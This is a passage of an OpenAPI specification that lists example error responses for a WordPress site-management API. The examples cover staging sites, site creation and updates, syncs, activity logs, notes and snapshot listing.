"details": [ { "code": "invalid_value", "param": "sort", "message": "Sort must be in field,direction format." } ] } } }, "unsupported_sort_field": { "summary": "Sort field is not supported", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_value", "param": "sort", "message": "Sort field is not supported." } ] } } }, "invalid_sort_direction": { "summary": "Sort direction is not supported", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_value", "param": "sort", "message": "Sort direction must be asc or desc." } ] } } } } } } }, "StagingPlanUnavailableResponse": { "description": "The account plan does not support staging.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/BusinessError" }, "example": { "error": { "status": 422, "code": "unprocessable_entity", "message": "Plan does not support feature.", "details": [ { "code": "plan_does_not_support_feature", "param": "feature", "message": "Your current plan does not support Staging." } ] } } } } }, "StagingSiteWrappedBadRequestResponse": { "description": "The `staging_site` request body is missing or contains invalid fields.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/ValidationError" }, "examples": { "missing_site_id": { "summary": "Missing staging site source site", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "blank", "param": "site_id", "message": "Can't be blank" } ] } } }, "invalid_wrapper": { "summary": "staging_site must be an object", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_type", "param": "staging_site", "message": "Must be an object." } ] } } }, "invalid_php_version_type": { "summary": "PHP version must be a string", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_type", "param": "php_version", "message": "Must be a string" } ] } } }, "invalid_snapshot_id_type": { "summary": "Snapshot ID must be a string", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_type", "param": "snapshot_id", "message": "Must be a string" } ] } } }, "blank_snapshot_id": { "summary": "Snapshot ID is blank", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "blank", "param": "snapshot_id", "message": "Can't be blank" } ] } } }, "blank_php_version": { "summary": "PHP version is blank", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "blank", "param": "php_version", "message": "Can't be blank" } ] } } }, "missing_real_time_cutoff": { "summary": "Missing real-time event cutoff", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "blank", "param": "options.real_time_events.until", "message": "Can't be blank" } ] } } }, "invalid_real_time_enabled_type": { "summary": "Real-time events enabled value must be a boolean", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_type", "param": "options.real_time_events.enabled", "message": "Must be a boolean" } ] } } } } } } }, "CreateStagingSiteUnprocessableResponse": { "description": "The staging site could not be created.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/BusinessError" }, "examples": { "invalid_snapshot": { "summary": "Snapshot cannot be used", "value": { "error": { "status": 422, "code": "unprocessable_entity", "message": "Unprocessable entity.", "details": [ { "code": "invalid_snapshot", "param": "snapshot_id", "message": "Invalid snapshot" } ] } } }, "invalid_snapshot_site": { "summary": "Snapshot does not belong to the site", "value": { "error": { "status": 422, "code": "unprocessable_entity", "message": "Unprocessable entity.", "details": [ { "code": "invalid_domain", "param": "snapshot_id", "message": "Snapshot does not belong to this site" } ] } } }, "invalid_php_version": { "summary": "PHP version is not supported", "value": { "error": { "status": 422, "code": "unprocessable_entity", "message": "Unprocessable entity.", "details": [ { "code": "invalid_value", "param": "php_version", "message": "Invalid PHP version" } ] } } }, "unsupported_site_php_version": { "summary": "Source site PHP version is not supported", "value": { "error": { "status": 422, "code": "unprocessable_entity", "message": "Unprocessable entity.", "details": [ { "code": "unsupported_site_php_version", "param": "php_version", "message": "Site PHP version is not supported. Pass a supported PHP version." } ] } } }, "invalid_real_time_cutoff": { "summary": "Real-time event cutoff is invalid", "value": { "error": { "status": 422, "code": "unprocessable_entity", "message": "Unprocessable entity.", "details": [ { "code": "invalid_value", "param": "options.real_time_events.until", "message": "Invalid timestamp" } ] } } }, "max_quota": { "summary": "Staging site limit reached", "value": { "error": { "status": 422, "code": "unprocessable_entity", "message": "Unprocessable entity.", "details": [ { "code": "max_quota", "param": "base", "message": "Staging sites limit exceeded" } ] } } } } } } }, "DeleteStagingSiteUnprocessableResponse": { "description": "The staging site could not be deleted.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/BusinessError" }, "examples": { "operation_failed": { "summary": "Staging site could not be deleted", "value": { "error": { "status": 422, "code": "unprocessable_entity", "message": "Unprocessable entity.", "details": [ { "code": "operation_failed", "message": "Staging site could not be deleted" } ] } } } } } } }, "ExtendStagingSiteExpiryBadRequestResponse": { "description": "The `days` field is missing or is not an integer.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/ValidationError" }, "examples": { "missing_days": { "summary": "Missing days value", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "blank", "param": "days", "message": "Can't be blank" } ] } } }, "invalid_days_type": { "summary": "days is not an integer", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_type", "param": "days", "message": "Must be an integer" } ] } } } } } } }, "ExtendStagingSiteExpiryUnprocessableResponse": { "description": "The staging site expiry could not be extended.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/BusinessError" }, "examples": { "invalid_value": { "summary": "Days value is outside the supported range", "value": { "error": { "status": 422, "code": "unprocessable_entity", "message": "Unprocessable entity.", "details": [ { "code": "invalid_value", "param": "days", "message": "Must be between 1 and 14" } ] } } }, "limit_exceeded": { "summary": "Staging expiry is already at the maximum", "value": { "error": { "status": 422, "code": "unprocessable_entity", "message": "Unprocessable entity.", "details": [ { "code": "limit_exceeded", "param": "extend_expiry", "message": "Staging extension already at maximum" } ] } } } } } } }, "ResumeStagingSiteUnprocessableResponse": { "description": "The staging site could not be resumed.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/BusinessError" }, "examples": { "not_paused": { "summary": "Staging site is not paused", "value": { "error": { "status": 422, "code": "unprocessable_entity", "message": "Unprocessable entity.", "details": [ { "code": "resource_not_ready", "param": "resume", "message": "Staging site is not paused" } ] } } }, "operation_failed": { "summary": "Staging site could not be resumed", "value": { "error": { "status": 422, "code": "unprocessable_entity", "message": "Unprocessable entity.", "details": [ { "code": "operation_failed", "param": "base", "message": "Staging site could not be resumed" } ] } } } } } } }, "UpdateStagingSitePhpVersionUnprocessableResponse": { "description": "The PHP version update could not be started.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/BusinessError" }, "examples": { "same_version": { "summary": "PHP version is already active", "value": { "error": { "status": 422, "code": "unprocessable_entity", "message": "Unprocessable entity.", "details": [ { "code": "php_version_already_active", "param": "php_version", "message": "Staging site already uses this PHP version." } ] } } }, "invalid_version": { "summary": "PHP version is invalid", "value": { "error": { "status": 422, "code": "unprocessable_entity", "message": "Unprocessable entity.", "details": [ { "code": "invalid_value", "param": "php_version", "message": "Invalid PHP version" } ] } } }, "operation_failed": { "summary": "PHP version update could not be started", "value": { "error": { "status": 422, "code": "unprocessable_entity", "message": "Unprocessable entity.", "details": [ { "code": "operation_failed", "param": "base", "message": "PHP version update could not be started" } ] } } } } } } }, "DownloadStagingSiteBadRequestResponse": { "description": "The `download` request body is missing, invalid, or has no selected content.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/ValidationError" }, "examples": { "missing_wrapper": { "summary": "Missing download root key", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "blank", "param": "download", "message": "Can't be blank" } ] } } }, "invalid_wrapper": { "summary": "download must be an object", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_type", "param": "download", "message": "Must be an object." } ] } } }, "missing_scope": { "summary": "Missing download scope", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "blank", "param": "download.scope", "message": "Can't be blank" } ] } } }, "invalid_scope": { "summary": "download.scope must be an object", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_type", "param": "download.scope", "message": "Must be an object." } ] } } }, "invalid_include_files_type": { "summary": "include_files must be a boolean", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_type", "param": "download.scope.include_files", "message": "Must be a boolean" } ] } } }, "invalid_include_database_type": { "summary": "include_database must be a boolean", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_type", "param": "download.scope.include_database", "message": "Must be a boolean" } ] } } }, "no_content_selected": { "summary": "No download content selected", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "blank", "param": "download.scope", "message": "At least one of include_files or include_database must be true" } ] } } } } } } }, "WpSsoLoginUrlStagingSiteNotFoundResponse": { "description": "The staging site or WordPress admin user was not found.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/NotFoundError" }, "examples": { "staging_site_not_found": { "summary": "Staging site not found", "value": { "error": { "status": 404, "code": "not_found", "message": "Resource not found" } } }, "wp_admin_user_not_found": { "summary": "WordPress admin user not found", "value": { "error": { "status": 404, "code": "not_found", "message": "WP admin user not found" } } } } } } }, "DownloadStagingSiteUnprocessableResponse": { "description": "The staging site download could not be started.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/BusinessError" }, "examples": { "already_in_progress": { "summary": "Download already in progress", "value": { "error": { "status": 422, "code": "unprocessable_entity", "message": "Unprocessable entity.", "details": [ { "code": "already_in_progress", "param": "base", "message": "Download already in progress" } ] } } }, "limit_exceeded": { "summary": "Staging site is too large to download", "value": { "error": { "status": 422, "code": "unprocessable_entity", "message": "Unprocessable entity.", "details": [ { "code": "limit_exceeded", "param": "base", "message": "Staging download size limit 10 GB exceeded" } ] } } } } } } }, "WpSsoLoginUrlStagingSiteBadRequestResponse": { "description": "The `wp_object_id` parameter is present but is not an integer.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/ValidationError" }, "examples": { "invalid_wp_object_id": { "summary": "WordPress user ID is not an integer", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_value", "param": "wp_object_id", "message": "Must be an integer" } ] } } } } } } }, "WpSsoLoginUrlStagingSiteUnprocessableResponse": { "description": "The WordPress SSO login URL could not be generated.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/BusinessError" }, "examples": { "operation_failed": { "summary": "WordPress SSO login URL could not be generated", "value": { "error": { "status": 422, "code": "unprocessable_entity", "message": "Unprocessable entity.", "details": [ { "code": "operation_failed", "message": "Generate WP admin login URL failed" } ] } } } } } } }, "SitesIndexBadRequestResponse": { "description": "The filters or sort query parameters are invalid.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/ValidationError" }, "examples": { "unsupported_filter": { "summary": "Unsupported filter", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_value", "param": "filters[name:eq]", "message": "Filter is not supported." } ] } } }, "filters_invalid_type": { "summary": "filters is not an object", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_type", "param": "filters", "message": "Must be an object." } ] } } }, "invalid_timestamp": { "summary": "Invalid timestamp filter", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_format", "param": "created_at", "message": "Invalid timestamp." } ] } } }, "invalid_boolean_filter": { "summary": "Invalid boolean filter", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_value", "param": "filters[backups:eq]", "message": "Must be true or false." } ] } } }, "tags_filter_invalid_type": { "summary": "tags:in sent without array syntax", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_type", "param": "filters[tags:in]", "message": "Must be an array." } ] } } }, "invalid_php_version": { "summary": "Invalid PHP version filter", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_format", "param": "php_version", "message": "Invalid PHP version format." } ] } } }, "invalid_sort_type": { "summary": "sort is not a string", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_type", "param": "sort", "message": "Must be a string." } ] } } }, "invalid_sort_format": { "summary": "Invalid sort format", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_value", "param": "sort", "message": "Sort must be in field,direction format." } ] } } }, "invalid_sort_field": { "summary": "Unsupported sort field", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_value", "param": "sort", "message": "Sort field is not supported." } ] } } }, "invalid_sort_direction": { "summary": "Unsupported sort direction", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_value", "param": "sort", "message": "Sort direction must be asc or desc." } ] } } } } } } }, "SiteCreateBadRequestResponse": { "description": "The `site` request body is missing or contains invalid fields.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/ValidationError" }, "examples": { "missing_site": { "summary": "Missing site object", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "blank", "param": "site", "message": "Can't be blank" } ] } } }, "invalid_site_type": { "summary": "site is not an object", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_type", "param": "site", "message": "Must be an object." } ] } } }, "blank_url": { "summary": "Missing site URL", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "blank", "param": "url", "message": "Can't be blank" } ] } } }, "invalid_url_type": { "summary": "URL is not a string", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_type", "param": "url", "message": "Must be a string." } ] } } }, "invalid_url_format": { "summary": "Invalid URL format", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_format", "param": "url", "message": "Invalid URL format." } ] } } }, "invalid_connection_type": { "summary": "connection is not an object", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_type", "param": "connection", "message": "Must be an object." } ] } } }, "invalid_sticky_ip_type": { "summary": "sticky_ip is not a string", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_type", "param": "connection.sticky_ip", "message": "Must be a string." } ] } } }, "invalid_sticky_ip": { "summary": "Invalid sticky IP", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_value", "param": "connection.sticky_ip", "message": "Invalid sticky IP format." } ] } } }, "invalid_http_auth_type": { "summary": "http_auth is not an object", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_type", "param": "connection.http_auth", "message": "Must be an object." } ] } } }, "blank_http_auth_username": { "summary": "Missing HTTP auth username", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "blank", "param": "connection.http_auth.username", "message": "Connection.http_auth.username can't be blank" } ] } } }, "invalid_http_auth_username_type": { "summary": "HTTP auth username is not a string", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_type", "param": "connection.http_auth.username", "message": "Must be a string." } ] } } }, "blank_http_auth_password": { "summary": "Missing HTTP auth password", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "blank", "param": "connection.http_auth.password", "message": "Connection.http_auth.password can't be blank" } ] } } }, "invalid_http_auth_password_type": { "summary": "HTTP auth password is not a string", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_type", "param": "connection.http_auth.password", "message": "Must be a string." } ] } } } } } } }, "SiteCreateUnprocessableResponse": { "description": "The site could not be created.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/BusinessError" }, "examples": { "duplicate_url": { "summary": "Site URL already exists", "value": { "error": { "status": 422, "code": "unprocessable_entity", "message": "Unprocessable entity.", "details": [ { "code": "already_exists", "param": "url", "message": "A site with this URL already exists." } ] } } }, "quota": { "summary": "Site limit reached", "value": { "error": { "status": 422, "code": "unprocessable_entity", "message": "Unprocessable entity.", "details": [ { "code": "max_quota", "param": "base", "message": "Max sites quota exceeded." } ] } } }, "operation_failed": { "summary": "Site create operation failed", "value": { "error": { "status": 422, "code": "unprocessable_entity", "message": "Unprocessable entity.", "details": [ { "code": "operation_failed", "param": "base", "message": "Failed to create site." } ] } } } } } } }, "SiteUpdateBadRequestResponse": { "description": "The `site` request body is missing, empty, or contains invalid fields.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/ValidationError" }, "examples": { "missing_site": { "summary": "Missing site object", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "blank", "param": "site", "message": "Can't be blank" } ] } } }, "invalid_site_type": { "summary": "site is not an object", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_type", "param": "site", "message": "Must be an object." } ] } } }, "no_editable_fields": { "summary": "No editable fields", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "blank", "param": "site", "message": "Must include at least one editable field." } ] } } }, "invalid_url_type": { "summary": "URL is not a string", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_type", "param": "url", "message": "Must be a string." } ] } } }, "blank_url": { "summary": "Blank URL", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "blank", "param": "url", "message": "Can't be blank" } ] } } }, "invalid_url_format": { "summary": "Invalid URL format", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_format", "param": "url", "message": "Invalid URL format." } ] } } }, "invalid_connection_type": { "summary": "connection is not an object", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_type", "param": "connection", "message": "Must be an object." } ] } } }, "invalid_sticky_ip_type": { "summary": "sticky_ip is not a string", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_type", "param": "connection.sticky_ip", "message": "Must be a string." } ] } } }, "invalid_sticky_ip": { "summary": "Invalid sticky IP", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_value", "param": "connection.sticky_ip", "message": "Invalid sticky IP format." } ] } } }, "invalid_http_auth_type": { "summary": "http_auth is not an object", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_type", "param": "connection.http_auth", "message": "Must be an object." } ] } } }, "blank_http_auth_username": { "summary": "Missing HTTP auth username", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "blank", "param": "connection.http_auth.username", "message": "Connection.http_auth.username can't be blank" } ] } } }, "invalid_http_auth_username_type": { "summary": "HTTP auth username is not a string", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_type", "param": "connection.http_auth.username", "message": "Must be a string." } ] } } }, "blank_http_auth_password": { "summary": "Missing HTTP auth password", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "blank", "param": "connection.http_auth.password", "message": "Connection.http_auth.password can't be blank" } ] } } }, "invalid_http_auth_password_type": { "summary": "HTTP auth password is not a string", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_type", "param": "connection.http_auth.password", "message": "Must be a string." } ] } } }, "invalid_sync_type": { "summary": "sync is not an object", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_type", "param": "sync", "message": "Must be an object." } ] } } }, "invalid_daily_sync_time_type": { "summary": "daily_sync_time is not a string", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_type", "param": "sync.daily_sync_time", "message": "Must be a string." } ] } } }, "invalid_daily_sync_time_format": { "summary": "Invalid daily sync time", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_format", "param": "sync.daily_sync_time", "message": "Sync.daily_sync_time has invalid format." } ] } } } } } } }, "SiteUpdateUnprocessableResponse": { "description": "The site could not be updated.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/BusinessError" }, "examples": { "duplicate_url": { "summary": "Site URL already exists", "value": { "error": { "status": 422, "code": "unprocessable_entity", "message": "Unprocessable entity.", "details": [ { "code": "already_exists", "param": "url", "message": "A site with this URL already exists." } ] } } } } } } }, "SiteSyncBadRequestResponse": { "description": "The optional `sync` request body contains invalid fields.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/ValidationError" }, "examples": { "invalid_sync_type": { "summary": "sync is not an object", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_type", "param": "sync", "message": "Must be an object." } ] } } }, "invalid_sync_message": { "summary": "sync.message is not a string", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_type", "param": "sync.message", "message": "Must be a string." } ] } } } } } } }, "SiteSyncConflictResponse": { "description": "A sync is already running for the site.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/ConflictError" }, "example": { "error": { "status": 409, "code": "conflict", "message": "Conflict", "details": [ { "code": "already_in_progress", "message": "Sync is already in progress." } ] } } } } }, "SiteSyncUnprocessableResponse": { "description": "The site sync could not be started.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/BusinessError" }, "examples": { "daily_limit": { "summary": "Daily sync limit reached", "value": { "error": { "status": 422, "code": "unprocessable_entity", "message": "Operation failed.", "details": [ { "code": "daily_limit_exceeded", "message": "Daily sync limit exceeded." } ] } } }, "operation_failed": { "summary": "Sync could not start", "value": { "error": { "status": 422, "code": "unprocessable_entity", "message": "Operation failed.", "details": [ { "code": "operation_failed", "message": "Sync failed." } ] } } }, "site_under_maintenance": { "summary": "Site is under maintenance", "value": { "error": { "status": 422, "code": "unprocessable_entity", "message": "Our servers are under maintenance for this site. Please retry after some time." } } } } } } }, "SiteNotesInvalidIndexQueryResponse": { "description": "The filters or sort query parameters are invalid.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/ValidationError" }, "examples": { "invalid_filters": { "summary": "Filters value is not an object", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_type", "param": "filters", "message": "Must be an object." } ] } } }, "invalid_timestamp": { "summary": "Timestamp filter is invalid", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_format", "param": "created_at", "message": "Invalid timestamp" } ] } } }, "unsupported_filter": { "summary": "Filter key is not supported", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_value", "param": "filters[content:eq]", "message": "Filter is not supported." } ] } } }, "invalid_sort_type": { "summary": "Sort value is not a string", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_type", "param": "sort", "message": "Must be a string." } ] } } }, "invalid_sort_format": { "summary": "Sort value is not field,direction", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_value", "param": "sort", "message": "Sort must be in field,direction format." } ] } } }, "invalid_sort_field": { "summary": "Sort field is not supported", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_value", "param": "sort", "message": "Sort field is not supported." } ] } } }, "invalid_sort_direction": { "summary": "Sort direction is not supported", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_value", "param": "sort", "message": "Sort direction must be asc or desc." } ] } } } } } } }, "SiteActivityLogsInvalidIndexQueryResponse": { "description": "The filters or sort query parameters are invalid.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/ValidationError" }, "examples": { "invalid_timestamp": { "summary": "Timestamp filter is invalid", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_format", "param": "timestamp", "message": "Invalid timestamp" } ] } } }, "invalid_filters": { "summary": "Filters value is not an object", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_type", "param": "filters", "message": "Must be an object." } ] } } }, "unsupported_filter": { "summary": "Filter key or operator is not supported", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_value", "param": "filters[email:eq]", "message": "Filter is not supported." } ] } } }, "unsupported_filter_operator": { "summary": "Filter operator is not supported", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_value", "param": "filters[username:not_eq]", "message": "Filter is not supported." } ] } } }, "invalid_sort_format": { "summary": "Sort value is not field,direction", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_value", "param": "sort", "message": "Sort must be in field,direction format." } ] } } }, "invalid_sort_type": { "summary": "Sort value is not a string", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_type", "param": "sort", "message": "Must be a string." } ] } } }, "invalid_sort_field": { "summary": "Sort field is not supported", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_value", "param": "sort", "message": "Sort field is not supported." } ] } } }, "invalid_sort_direction": { "summary": "Sort direction is not supported", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_value", "param": "sort", "message": "Sort direction must be asc or desc." } ] } } } } } } }, "SiteActivityLogsNotEnabledResponse": { "description": "Activity logging is not enabled for the site.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/BusinessError" }, "examples": { "feature_not_enabled": { "summary": "Activity logging is not enabled", "value": { "error": { "status": 422, "code": "unprocessable_entity", "message": "Unprocessable entity.", "details": [ { "code": "feature_not_enabled", "message": "Activity Log feature is not enabled for this site." } ] } } } } } } }, "SiteActivityLogsConfigurationConflictResponse": { "description": "Another site configuration change is already running.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/ConflictError" }, "examples": { "already_in_progress": { "summary": "Configuration change already running", "value": { "error": { "status": 409, "code": "conflict", "message": "Conflict", "details": [ { "code": "already_in_progress", "message": "Configuration is already in progress." } ] } } } } } } }, "EnableSiteActivityLogsUnprocessableResponse": { "description": "Activity logging could not be enabled.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/BusinessError" }, "examples": { "plan_does_not_support_feature": { "summary": "Activity logs are not available on the current plan", "value": { "error": { "status": 422, "code": "unprocessable_entity", "message": "Unprocessable entity.", "details": [ { "code": "plan_does_not_support_feature", "message": "Current plan does not support activity logs." } ] } } }, "plugin_update_required": { "summary": "Site update is required", "value": { "error": { "status": 422, "code": "unprocessable_entity", "message": "Unprocessable entity.", "details": [ { "code": "plugin_update_required", "message": "Plugin update required to support activity logs." } ] } } }, "operation_failed": { "summary": "Activity logging could not be enabled", "value": { "error": { "status": 422, "code": "unprocessable_entity", "message": "Unprocessable entity.", "details": [ { "code": "operation_failed", "message": "Failed to enable activity logging." } ] } } } } } } }, "DisableSiteActivityLogsUnprocessableResponse": { "description": "Activity logging could not be disabled.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/BusinessError" }, "examples": { "operation_failed": { "summary": "Activity logging could not be disabled", "value": { "error": { "status": 422, "code": "unprocessable_entity", "message": "Unprocessable entity.", "details": [ { "code": "operation_failed", "message": "Failed to disable activity logging." } ] } } } } } } }, "ListSiteSnapshotsBadRequestResponse": { "description": "The snapshot list request contains invalid filter or sort parameters.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/ValidationError" }, "examples": { "invalid_filters_type": { "summary": "Filters must be an object", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_type", "param": "filters", "message": "Must be an object." } ] } } }, "unsupported_filter": { "summary": "Unsupported filter key or operator", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_value", "param": "filters[status:ne]", "message": "Filter is not supported." } ] } } }, "invalid_timestamp": { "summary": "Timestamp is malformed", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_format", "param": "created_at", "message": "Invalid timestamp." } ] } } }, "invalid_note_present": { "summary": "Note presence filter is malformed", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_value", "param": "filters[note:present]", "message": "Must be true or false." } ] } } }, "invalid_sort_type": { "summary": "Sort must be a string", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_type", "param": "sort", "message": "Must be a string." } ] } } }, "invalid_sort_format": { "summary": "Sort is malformed", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_value", "param": "sort", "message": "Sort must be in field,direction format." } ] } } }, "invalid_sort_field": { "summary": "Sort field is not supported", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_value", "param": "sort", "message": "Sort field is not supported." } ] } } }, "invalid_sort_direction": { "summary": "Sort direction is not supported", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_value", "param": "sort", "message": "Sort direction must be asc or desc." } ] } } } } } } }, 